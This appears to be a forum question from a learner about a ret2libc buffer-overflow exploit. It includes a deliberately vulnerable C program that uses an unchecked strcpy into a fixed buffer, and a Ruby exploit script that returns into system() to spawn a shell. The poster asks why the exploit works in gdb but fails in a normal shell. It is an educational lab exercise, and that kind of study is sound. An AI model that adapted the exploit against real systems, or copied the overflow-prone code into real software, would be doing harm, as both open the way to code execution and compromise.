title: Ret2libc exploit works in gdb, but in normal shell gives error sh: 1: g:0:1: not found
body: <p>I am learning about ret2libc buffer overflow exploits to bypass NX. </p>
  
  <p>My vulnerable code (vuln.c):</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  
  int main(int argc, char *argv[])
  {
      char buffer[512];
  
      if (argc != 2)
          printf("NO\n");
      else {
          strcpy(buffer, argv[1]);
          printf("%s\n", buffer);
      }
  }
  </code></pre>
  
  <p>Compiled with this command: <code># gcc -o vuln vuln.c</code></p>
  
  <p>I then created this simple ret2libc exploit in ruby (exploit.rb):</p>
  
  <pre><code>p = "A"*524
  p += [0xb7e9ef10].pack('&lt;I') # system()
  p += [0xb7e79e46].pack('&lt;I') # nomal ret val
  p += [0xbffff75a].pack('&lt;I') # "/bin/bash"
  print(p)
  </code></pre>
  
  <p>If it run it in gdb with <code>(gdb) r $(ruby exploit.rb)</code> it gives me a nice bash shell.</p>
  
  <p>I then try to run it in a normal shell with <code># ./vuln $(ruby exploit.rb)</code>, but instead of giving me a shell it gives me this instead: <code>sh: 1: g:0:1: not found</code></p>
  
  <p>ASLR is disabled and the only protection enabled is NX, I think. </p>
  
  <p>Any help is appreciated. </p>
  
  <p><strong>Edit:</strong></p>
  
  <p>I am running this on i686 in case that helps.</p>